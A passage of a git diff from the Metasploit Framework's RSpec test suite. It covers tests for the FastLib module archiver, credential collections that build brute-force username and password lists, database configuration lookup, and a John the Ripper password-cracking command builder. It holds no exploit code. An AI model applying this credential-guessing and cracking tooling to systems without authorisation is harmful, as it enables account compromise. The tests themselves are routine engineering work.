expect(connection_pool.active_connection?).to be_false + expect(connection_pool.active_connection?).to be_falsey end context 'with error' do diff --git a/spec/lib/fastlib_spec.rb b/spec/lib/fastlib_spec.rb deleted file mode 100644 index f8efb0fbb3..0000000000 --- a/spec/lib/fastlib_spec.rb +++ /dev/null @@ -1,232 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'msf/core' - -describe FastLib do - let(:archived_paths) do - [ - File.join('auxiliary', 'scanner', 'portscan', 'xmas.rb'), - File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') - ] - end - - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end - - let(:extension) do - '.fastlib' - end - - let(:flag_compress) do - 0x01 - end - - let(:flag_encrypt) do - 0x02 - end - - let(:unarchived_paths) do - archived_paths.collect { |archived_path| - File.join(base_path, archived_path) - } - end - - context 'CONSTANTS' do - context 'flags' do - it 'should have compression' do - described_class::FLAG_COMPRESS.should == flag_compress - end - - it 'should have encryption' do - described_class::FLAG_ENCRYPT.should == flag_encrypt - end - end - end - - context 'class methods' do - context 'dump' do - let(:flag_string) do - flags.to_s(16) - end - - before(:each) do - FastLib.cache.clear - end - - around(:each) do |example| - Dir.mktmpdir do |directory| - @destination_path = File.join(directory, "rspec#{extension}") - - example.run - end - end - - context 'without compression and without encryption' do - let(:flags) do - 0x0 - end - - it 'should create an archive' do - File.exist?(@destination_path).should be_false - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - File.exist?(@destination_path).should be_true - end - - context 'cache' do - it 'should populate' do - FastLib.cache[@destination_path].should be_nil - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - FastLib.cache[@destination_path].should be_a Hash - end - - it 'should include flags' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - FastLib.cache[@destination_path][:fastlib_flags].should == flags - end - - pending "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should include header' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - header = FastLib.cache[@destination_path][:fastlib_header] - modification_time = File.mtime(@destination_path).utc.to_i - - header.should be_a Array - # @todo figure out why 12 before header length - header[0].should == 12 - # @todo figure out why header length is 0 - header[1].should == 0 - header[2].should == modification_time - end - - it 'should include archived paths' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - cache = FastLib.cache[@destination_path] - - archived_path = File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') - unarchived_path = File.join(base_path, archived_path) - - # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be - # in the archive. - File.exist?(unarchived_path).should be_true - cache[archived_path].should_not be_nil - end - end - end - end - - context 'with compression and without encryption' do - let(:flags) do - flag_compress - end - - it 'should create an archive' do - File.exist?(@destination_path).should be_false - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - File.exist?(@destination_path).should be_true - end - - it 'should be smaller than the uncompressed archive' do - uncompressed_path = "#{@destination_path}.uncompressed" - compressed_path = "#{@destination_path}.compressed" - - File.exist?(uncompressed_path).should be_false - File.exist?(compressed_path).should be_false - - described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) - described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) - - File.exist?(uncompressed_path).should be_true - File.exist?(compressed_path).should be_true - - File.size(compressed_path).should < File.size(uncompressed_path) - end - end - - context 'without compression and with encryption' do - let(:flags) do - flag_encrypt - end - - it 'should create an archive' do - File.exist?(@destination_path).should be_false - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - File.exist?(@destination_path).should be_true - end - end - - context 'with compression and with encryption' do - let(:flags) do - flag_compress | flag_encrypt - end - - it 'should create an archive' do - File.exist?(@destination_path).should be_false - - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - - File.exist?(@destination_path).should be_true - end - end - end - - context 'list' do - around(:each) do |example| - Dir.mktmpdir do |directory| - @destination_path = File.join(directory, "rspec#{extension}") - - FastLib.dump(@destination_path, FastLib::FLAG_COMPRESS.to_s, base_path, *unarchived_paths) - - example.run - end - end - - # ensure modules expected to be listed actually exist - it 'should use existent unarchived modules' do - unarchived_paths.each do |unarchived_path| - File.exist?(unarchived_path).should be_true - end - end - - context 'with cached dump', :pending => "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should have dump cached' do - FastLib.cache[@destination_path].should_not be_nil - end - - it 'should list archived paths' do - paths = FastLib.list(@destination_path) - - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end - - context 'without cached dump' do - before(:each) do - FastLib.cache.clear - end - - it 'should not have dump cache' do - FastLib.cache[@destination_path].should be_nil - end - - it 'should list archived paths' do - paths = FastLib.list(@destination_path) - - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end - end - end -end diff --git a/spec/lib/metasploit/framework/afp/client_spec.rb b/spec/lib/metasploit/framework/afp/client_spec.rb new file mode 100644 index 0000000000..8b13789179 --- /dev/null +++ b/spec/lib/metasploit/framework/afp/client_spec.rb @@ -0,0 +1 @@ + diff --git a/spec/lib/metasploit/framework/credential_collection_spec.rb b/spec/lib/metasploit/framework/credential_collection_spec.rb new file mode 100644 index 0000000000..cfe583036b --- /dev/null +++ b/spec/lib/metasploit/framework/credential_collection_spec.rb @@ -0,0 +1,148 @@ +require 'spec_helper' +require 'metasploit/framework/credential_collection' + +describe Metasploit::Framework::CredentialCollection do + + subject(:collection) do + described_class.new( + blank_passwords: blank_passwords, + pass_file: pass_file, + password: password, + user_as_pass: user_as_pass, + user_file: user_file, + username: username, + userpass_file: userpass_file, + ) + end + + let(:blank_passwords) { nil } + let(:username) { "user" } + let(:password) { "pass" } + let(:user_file) { nil } + let(:pass_file) { nil } + let(:user_as_pass) { nil } + let(:userpass_file) { nil } + + describe "#each" do + specify do + expect { |b| collection.each(&b) }.to yield_with_args(Metasploit::Framework::Credential) + end + + context "when given a user_file and password" do + let(:username) { nil } + let(:user_file) do + filename = "foo" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_yield stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: "asdf", private: password), + Metasploit::Framework::Credential.new(public: "jkl", private: password), + ) + end + end + + context "when given a pass_file and username" do + let(:password) { nil } + let(:pass_file) do + filename = "foo" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_return stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: username, private: "asdf"), + Metasploit::Framework::Credential.new(public: username, private: "jkl"), + ) + end + end + + + context "when given a userspass_file" do + let(:username) { nil } + let(:password) { nil } + let(:userpass_file) do + filename = "foo" + stub_file = StringIO.new("asdf jkl\nfoo bar\n") + File.stub(:open).with(filename,/^r/).and_yield stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: "asdf", private: "jkl"), + Metasploit::Framework::Credential.new(public: "foo", private: "bar"), + ) + end + end + + context "when given a pass_file and user_file" do + let(:password) { nil } + let(:username) { nil } + let(:user_file) do + filename = "user_file" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_yield stub_file + + filename + end + let(:pass_file) do + filename = "pass_file" + stub_file = StringIO.new("asdf\njkl\n") + File.stub(:open).with(filename,/^r/).and_return stub_file + + filename + end + + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: "asdf", private: "asdf"), + Metasploit::Framework::Credential.new(public: "asdf", private: "jkl"), + Metasploit::Framework::Credential.new(public: "jkl", private: "asdf"), + Metasploit::Framework::Credential.new(public: "jkl", private: "jkl"), + ) + end + end + + context "when :user_as_pass is true" do + let(:user_as_pass) { true } + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: username, private: password), + Metasploit::Framework::Credential.new(public: username, private: username), + ) + end + end + + context "when :blank_passwords is true" do + let(:blank_passwords) { true } + specify do + expect { |b| collection.each(&b) }.to yield_successive_args( + Metasploit::Framework::Credential.new(public: username, private: password), + Metasploit::Framework::Credential.new(public: username, private: ""), + ) + end + end + + end + + describe "#prepend_cred" do + specify do + prep = Metasploit::Framework::Credential.new(public: "foo", private: "bar") + collection.prepend_cred(prep) + expect { |b| collection.each(&b) }.to yield_successive_args( + prep, + Metasploit::Framework::Credential.new(public: username, private: password), + ) + end + end + +end diff --git a/spec/lib/metasploit/framework/credential_spec.rb b/spec/lib/metasploit/framework/credential_spec.rb new file mode 100644 index 0000000000..b834d21251 --- /dev/null +++ b/spec/lib/metasploit/framework/credential_spec.rb @@ -0,0 +1,161 @@ +require 'spec_helper' +require 'metasploit/framework/credential' + +describe Metasploit::Framework::Credential do + + subject(:cred_detail) { + described_class.new + } + + let(:public) { "public" } + let(:private) { "private" } + let(:realm) { "realm" } + let(:realm_type) { Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN } + let(:private_type) { :password } + + it { should respond_to :paired } + it { should respond_to :private } + it { should respond_to :private_type } + it { should respond_to :public } + it { should respond_to :realm } + it { should respond_to :realm_key } + + describe "#paired" do + it "defaults to true" do + expect(cred_detail.paired).to be_truthy + end + end + + context 'validations' do + + it 'is not valid without paired being set' do + expect(cred_detail).to_not be_valid + end + + context 'when not paired' do + before(:each) do + cred_detail.paired = false + end + + it 'is invalid without at least a public or a private' do + expect(cred_detail).to_not be_valid + end + + it 'is valid with just a public' do + cred_detail.public = 'root' + expect(cred_detail).to be_valid + end + + it 'is valid with just a private' do + cred_detail.private = 'toor' + expect(cred_detail).to be_valid + end + end + + context 'when paired' do + before(:each) do + cred_detail.paired = true + end + + it 'is invalid with only a public' do + cred_detail.public = 'root' + expect(cred_detail).to_not be_valid + end + + it 'is invalid with only a private' do + cred_detail.private = 'toor' + expect(cred_detail).to_not be_valid + end + + it 'is invalid with empty string for public' do + cred_detail.public = '' + cred_detail.private = 'toor' + expect(cred_detail).to_not be_valid + end + + it 'is valid with empty string for private' do + cred_detail.public = 'root' + cred_detail.private = '' + expect(cred_detail).to be_valid + end + end + + end + + describe "#to_credential" do + subject(:cred_detail) do + described_class.new(public: public, private: private, realm: realm) + end + it { should respond_to :to_credential } + it "should return self" do + cred_detail.to_credential.should eq(cred_detail) + end + end + + describe "#==" do + let(:public) { "public" } + let(:private) { "private" } + let(:realm) { "realm" } + subject(:cred_detail) do + described_class.new(public: public, private: private, realm: realm) + end + + context "when all attributes match" do + let(:other) do + described_class.new(public: public, private: private, realm: realm) + end + specify do + expect(other).to eq(cred_detail) + end + end + + context "when realm does not match" do + let(:other) do + described_class.new(public: public, private: private, realm: "") + end + specify do + expect(other).not_to eq(cred_detail) + end + end + + context "when private does not match" do + let(:other) do + described_class.new(public: public, private: "", realm: realm) + end + specify do + expect(other).not_to eq(cred_detail) + end + end + + context "when public does not match" do + let(:other) do + described_class.new(public: "", private: private, realm: realm) + end + specify do + expect(other).not_to eq(cred_detail) + end + end + context "when comparing to a different object" do + let(:other) {'a string'} + specify do + expect(other).not_to eq(cred_detail) + end + end + end + + describe '#to_h' do + subject(:cred_detail) do + described_class.new(public: public, private: private, realm: realm, realm_key: realm_type, private_type: private_type) + end + it 'returns a hash in the format expect for create_credential' do + cred_hash = { + private_data: private, + private_type: private_type, + username: public, + realm_key: realm_type, + realm_value: realm + } + expect(cred_detail.to_h).to eq cred_hash + end + end +end diff --git a/spec/lib/metasploit/framework/database_spec.rb b/spec/lib/metasploit/framework/database_spec.rb new file mode 100644 index 0000000000..d8c4663ebe --- /dev/null +++ b/spec/lib/metasploit/framework/database_spec.rb @@ -0,0 +1,670 @@ +require 'spec_helper' + +RSpec.describe Metasploit::Framework::Database do + context 'CONSTANTS' do + context 'CONFIGURATIONS_PATHNAME_PRECEDENCE' do + subject(:configurations_pathname_precedence) { + described_class::CONFIGURATIONS_PATHNAME_PRECEDENCE + } + + it { is_expected.to match_array( + [ + :environment_configurations_pathname, + :user_configurations_pathname, + :project_configurations_pathname + ] + ) } + end + end + + context '.configurations_pathname' do + subject(:configurations_pathname) { + described_class.configurations_pathname(*arguments) + } + + context 'with options' do + let(:arguments) { + [ + { + path: path + } + ] + } + + context 'with :path' do + context 'that exists' do + let(:path) { + tempfile.path + } + + let(:tempfile) { + Tempfile.new(['database', '.yml']) + } + + it 'returns Pathname(path)' do + expect(configurations_pathname).to eq(Pathname.new(path)) + end + end + + context 'that does not exist' do + let(:path) { + '/a/configurations/path/that/does/not/exist/database.yml' + } + + + it { is_expected.to be_nil } + end + end + + context 'without :path' do + let(:path) { + '' + } + + it 'calls configurations_pathnames' do + expect(described_class).to receive(:configurations_pathnames).and_call_original + + configurations_pathname + end + + it 'returns first pathname from configurations_pathnames' do + expect(configurations_pathname).to eq(described_class.configurations_pathnames.first) + end + end + end + + context 'without options' do + let(:arguments) { + [] + } + + it 'calls configurations_pathnames' do + expect(described_class).to receive(:configurations_pathnames).and_call_original + + configurations_pathname + end + + it 'returns first pathname from configurations_pathnames' do + expect(configurations_pathname).to eq(described_class.configurations_pathnames.first) + end + end + end + + context '.configurations_pathnames' do + subject(:configurations_pathnames) { + described_class.configurations_pathnames + } + + before(:each) do + allow(described_class).to receive(:environment_configurations_pathname).and_return( + environment_configurations_pathname + ) + end + + context 'with environment_configurations_pathname' do + context 'that exists' do + # + # lets + # + + let(:environment_configurations_pathname) { + Pathname.new(environment_configurations_tempfile.path) + } + + let(:environment_configurations_tempfile) { + Tempfile.new(['environment_configurations', '.database.yml']) + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:user_configurations_pathname).and_return( + user_configurations_pathname + ) + end + + context 'with user_configurations_pathname' do + context 'that exists' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new(user_configurations_tempfile.path) + } + + let(:user_configurations_tempfile) { + Tempfile.new(['user_configurations', '.database.yml']) + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [environment_configurations_pathname, user_configurations_pathname, project_configurations_pathname]' do + expect(project_configurations_pathname).to exist + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + user_configurations_pathname, + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/does/not/exist/here/config/database.yml') + } + + it 'is [environment_configurations_pathname, user_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).not_to exist + + expect(project_configurations_pathname).not_to exist + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + user_configurations_pathname + ] + ) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is [environment_configuration_pathname, user_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + user_configurations_pathname + ] + ) + end + end + end + + context 'with does not exist' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml') + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [environment_configurations_pathname, project_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname, + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is [environment_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname + ] + ) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is [environment_configurations_pathname]' do + expect(environment_configurations_pathname).to exist + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to be_nil + + expect(configurations_pathnames).to match_array( + [ + environment_configurations_pathname + ] + ) + end + end + end + end + + context 'without user_configurations_pathname' do + # + # lets + # + + let(:user_configurations_pathname) { + nil + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'contains only the environment_configuration_pathname' do + expect(configurations_pathnames).to match_array([environment_configurations_pathname]) + end + end + end + end + + context 'that does not exist' do + + end + end + + context 'without environment_configurations_pathname' do + # + # lets + # + + let(:environment_configurations_pathname) { + nil + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:user_configurations_pathname).and_return( + user_configurations_pathname + ) + end + + context 'with user_configurations_pathname' do + context 'that exists' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new(user_configurations_tempfile.path) + } + + let(:user_configurations_tempfile) { + Tempfile.new(['user_configurations', '.database.yml']) + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [user_configurations_pathname, project_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + user_configurations_pathname, + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is [user_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to match_array( + [ + user_configurations_pathname + ] + ) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is [user_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to exist + expect(project_configurations_pathname).to be_nil + + expect(configurations_pathnames).to match_array( + [ + user_configurations_pathname + ] + ) + end + end + end + + context 'that does not exist' do + # + # lets + # + + let(:user_configurations_pathname) { + Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml') + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [project_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is []' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to eq([]) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it 'is []' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).not_to exist + expect(project_configurations_pathname).to be_nil + + expect(configurations_pathnames).to eq([]) + end + end + end + end + + context 'without user_configurations_pathname' do + # + # lets + # + + let(:user_configurations_pathname) { + nil + } + + # + # Callbacks + # + + before(:each) do + allow(described_class).to receive(:project_configurations_pathname).and_return( + project_configurations_pathname + ) + end + + context 'with project_configurations_pathname' do + context 'that exists' do + let(:project_configurations_pathname) { + Pathname.new(project_configurations_tempfile.path) + } + + let(:project_configurations_tempfile) { + Tempfile.new(['project_configurations', '.database.yml']) + } + + it 'is [project_configurations_pathname]' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to be_nil + expect(project_configurations_pathname).to exist + + expect(configurations_pathnames).to match_array( + [ + project_configurations_pathname + ] + ) + end + end + + context 'that does not exist' do + let(:project_configurations_pathname) { + Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml') + } + + it 'is []' do + expect(environment_configurations_pathname).to be_nil + expect(user_configurations_pathname).to be_nil + expect(project_configurations_pathname).not_to exist + + expect(configurations_pathnames).to eq([]) + end + end + end + + context 'without project_configurations_pathname' do + let(:project_configurations_pathname) { + nil + } + + it { is_expected.to eq([]) } + end + end + end + end + + context '.environment_configurations_pathname' do + subject(:environment_configurations_pathname) { + described_class.environment_configurations_pathname + } + + around(:each) do |example| + env_before = ENV.to_hash + + begin + example.run + ensure + ENV.update(env_before) + end + end + + context 'with MSF_DATABASE_CONFIG' do + before(:each) do + ENV['MSF_DATABASE_CONFIG'] = msf_database_config + end + + context 'with blank' do + let(:msf_database_config) { + '' + } + + it { is_expected.to be_nil } + end + + context 'without blank' do + let(:msf_database_config) { + 'msf/database/config/database.yml' + } + + it 'is Pathname of MSF_DATABASE_CONFIG' do + expect(environment_configurations_pathname).to eq(Pathname.new(msf_database_config)) + end + end + end + + context 'without MSF_DATABASE_CONFIG' do + it { is_expected.to be_nil } + end + end + + context '.project_configurations_pathname' do + subject(:project_configurations_pathname) { + described_class.project_configurations_pathname + } + + it 'is /config/database.yml' do + root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent.parent + expect(project_configurations_pathname).to eq(root.join('config', 'database.yml')) + end + end + + context '.user_configurations_pathname' do + subject(:user_configurations_pathname) { + described_class.user_configurations_pathname + } + + # + # lets + # + + let(:config_root) { + Dir.mktmpdir + } + + # + # Callbacks + # + + around(:each) do |example| + begin + example.run + ensure + FileUtils.remove_entry_secure config_root + end + end + + before(:each) do + expect(Msf::Config).to receive(:get_config_root).and_return(config_root) + end + + it 'is database.yml under the user config root' do + expect(user_configurations_pathname).to eq(Pathname.new(config_root).join('database.yml')) + end + end +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/jtr/cracker_spec.rb b/spec/lib/metasploit/framework/jtr/cracker_spec.rb new file mode 100644 index 0000000000..13d16c8c63 --- /dev/null +++ b/spec/lib/metasploit/framework/jtr/cracker_spec.rb @@ -0,0 +1,248 @@ +require 'spec_helper' +require 'metasploit/framework/jtr/cracker' + +describe Metasploit::Framework::JtR::Cracker do + + subject(:cracker) { described_class.new } + let(:john_path) { '/path/to/john' } + let(:other_john_path) { '/path/to/other/john' } + let(:session_id) { 'Session1' } + let(:config) { '/path/to/config.conf' } + let(:pot) { '/path/to/john.pot' } + let(:other_pot) { '/path/to/other/pot' } + let(:wordlist) { '/path/to/wordlist' } + let(:hash_path) { '/path/to/hashes' } + let(:nt_format) { 'nt' } + let(:incremental) { 'Digits5' } + let(:rules) { 'Rule34'} + let(:max_runtime) { 5000 } + + describe '#binary_path' do + + + context 'when the user supplied a john_path' do + before(:each) do + cracker.john_path = john_path + end + + it 'returns the manual path if it exists and is a regular file' do + expect(::File).to receive(:file?).with(john_path).once.and_return true + expect(cracker.binary_path).to eq john_path + end + + it 'rejects the manual path if it does not exist or is not a regular file' do + expect(::File).to receive(:file?).with(john_path).once.and_return false + expect(Rex::FileUtils).to receive(:find_full_path).with('john').and_return other_john_path + expect(::File).to receive(:file?).with(other_john_path).once.and_return true + expect(cracker.binary_path).to_not eq john_path + end + end + + context 'when the user did not supply a path' do + it 'returns the john binary from the PATH if it exists' do + expect(Rex::FileUtils).to receive(:find_full_path).and_return john_path + expect(::File).to receive(:file?).with(john_path).once.and_return true + expect(cracker.binary_path).to eq john_path + end + + it 'returns the shipped john binary if it does not exist in the PATH' do + expect(Rex::FileUtils).to receive(:find_full_path).twice.and_return nil + expect(cracker).to receive(:select_shipped_binary).and_return other_john_path + expect(cracker.binary_path).to eq other_john_path + end + end + end + + describe '#crack_command' do + before(:each) do + expect(cracker).to receive(:binary_path).and_return john_path + expect(cracker).to receive(:john_session_id).and_return session_id + end + + it 'starts with the john binary path' do + expect(cracker.crack_command[0]).to eq john_path + end + + it 'sets a session id' do + expect(cracker.crack_command).to include "--session=#{session_id}" + end + + it 'sets the nolog flag' do + expect(cracker.crack_command).to include '--nolog' + end + + it 'adds a config directive if the user supplied one' do + cracker.config = config + expect(cracker.crack_command).to include "--config=#{config}" + end + + it 'does not use a config directive if not supplied one' do + expect(cracker.crack_command).to_not include "--config=#{config}" + end + + it 'uses the user supplied john.pot if there is one' do + cracker.pot = pot + expect(cracker.crack_command).to include "--pot=#{pot}" + end + + it 'uses default john.pot if the user did not supply one' do + expect(cracker).to receive(:john_pot_file).and_return other_pot + expect(cracker.crack_command).to include "--pot=#{other_pot}" + end + + it 'uses the user supplied format directive' do + cracker.format = nt_format + expect(cracker.crack_command).to include "--format=#{nt_format}" + end + + it 'uses the user supplied wordlist directive' do + cracker.wordlist = wordlist + expect(cracker.crack_command).to include "--wordlist=#{wordlist}" + end + + it 'uses the user supplied incremental directive' do + cracker.incremental = incremental + expect(cracker.crack_command).to include "--incremental=#{incremental}" + end + + it 'uses the user supplied rules directive' do + cracker.rules = rules + expect(cracker.crack_command).to include "--rules=#{rules}" + end + + it 'uses the user supplied max-run-time' do + cracker.max_runtime = max_runtime + expect(cracker.crack_command).to include "--max-run-time=#{max_runtime.to_s}" + end + + it 'puts the path to the has file at the end' do + cracker.hash_path = hash_path + expect(cracker.crack_command.last).to eq hash_path + end + + end + + describe '#show_command' do + before(:each) do + expect(cracker).to receive(:binary_path).and_return john_path + end + + it 'starts with the john binary path' do + expect(cracker.show_command[0]).to eq john_path + end + + it 'has the --show flag' do + expect(cracker.show_command).to include '--show' + end + + it 'uses the user supplied john.pot if there is one' do + cracker.pot = pot + expect(cracker.show_command).to include "--pot=#{pot}" + end + + it 'uses default john.pot if the user did not supply one' do + expect(cracker).to receive(:john_pot_file).and_return other_pot + expect(cracker.show_command).to include "--pot=#{other_pot}" + end + + it 'uses the user supplied format directive' do + cracker.format = nt_format + expect(cracker.show_command).to include "--format=#{nt_format}" + end + + it 'puts the path to the has file at the end' do + cracker.hash_path = hash_path + expect(cracker.show_command.last).to eq hash_path + end + end + + describe 'validations' do + context 'failures' do + context 'file_path validators' do + before(:each) do + expect(File).to receive(:file?).and_return false + end + + it 'produces the correct error message for config' do + cracker.config = config + expect(cracker).to_not be_valid + expect(cracker.errors[:config]).to include "is not a valid path to a regular file" + end + + it 'produces the correct error message for hash_path' do + cracker.hash_path = hash_path + expect(cracker).to_not be_valid + expect(cracker.errors[:hash_path]).to include "is not a valid path to a regular file" + end + + it 'produces the correct error message for pot' do + cracker.pot = pot + expect(cracker).to_not be_valid + expect(cracker.errors[:pot]).to include "is not a valid path to a regular file" + end + + it 'produces the correct error message for wordlist' do + cracker.wordlist = wordlist + expect(cracker).to_not be_valid + expect(cracker.errors[:wordlist]).to include "is not a valid path to a regular file" + end + end + + context 'executable_path validators' do + before(:each) do + expect(File).to receive(:executable?).and_return false + end + + it 'produces the correct error message for john_path' do + cracker.john_path = john_path + expect(cracker).to_not be_valid + expect(cracker.errors[:john_path]).to include "is not a valid path to an executable file" + end + end + end + + context 'successes' do + context 'file_path validators' do + before(:each) do + expect(File).to receive(:file?).and_return true + end + + it 'produces no error message for config' do + cracker.config = config + expect(cracker).to be_valid + expect(cracker.errors[:config]).to_not include "is not a valid path to a regular file" + end + + it 'produces no error message for hash_path' do + cracker.hash_path = hash_path + expect(cracker).to be_valid + expect(cracker.errors[:hash_path]).to_not include "is not a valid path to a regular file" + end + + it 'produces no error message for pot' do + cracker.pot = pot + expect(cracker).to be_valid + expect(cracker.errors[:pot]).to_not include "is not a valid path to a regular file" + end + + it 'produces no error message for wordlist' do + cracker.wordlist = wordlist + expect(cracker).to be_valid + expect(cracker.errors[:wordlist]).to_not include "is not a valid path to a regular file" + end + end + + context 'executable_path validators' do + before(:each) do + expect(File).to receive(:executable?).and_return true + end + + it 'produces no error message for john_path' do + cracker.john_path = john_path + expect(cracker).to be_valid + expect(cracker.errors[:john_path]).to_not include "is not a valid path to an executable file" + end + end + end + end +end diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb new file mode 100644 index 0000000000..192ae127f8 --- /dev/null +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -0,0 +1,38 @@ +require 'spec_helper' +require 'metasploit/framework/jtr/invalid_wordlist' + +describe Metasploit::Framework::JtR::InvalidWordlist do + + subject(:invalid) do + described_class.new(model) + end + + let(:model) do + model_class.new + end + + let(:model_class) do + Class.new do + include ActiveModel::Validations + end + end + + it { should be_a StandardError } + + it 'should use ActiveModel::Errors#full_messages' do + model.errors.should_receive(:full_messages).and_call_original + + described_class.new(model) + end + + context '#model' do + subject(:error_model) do + invalid.model + end + + it 'should be the passed in model' do + error_model.should == model + end + end + +end diff --git a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb new file mode 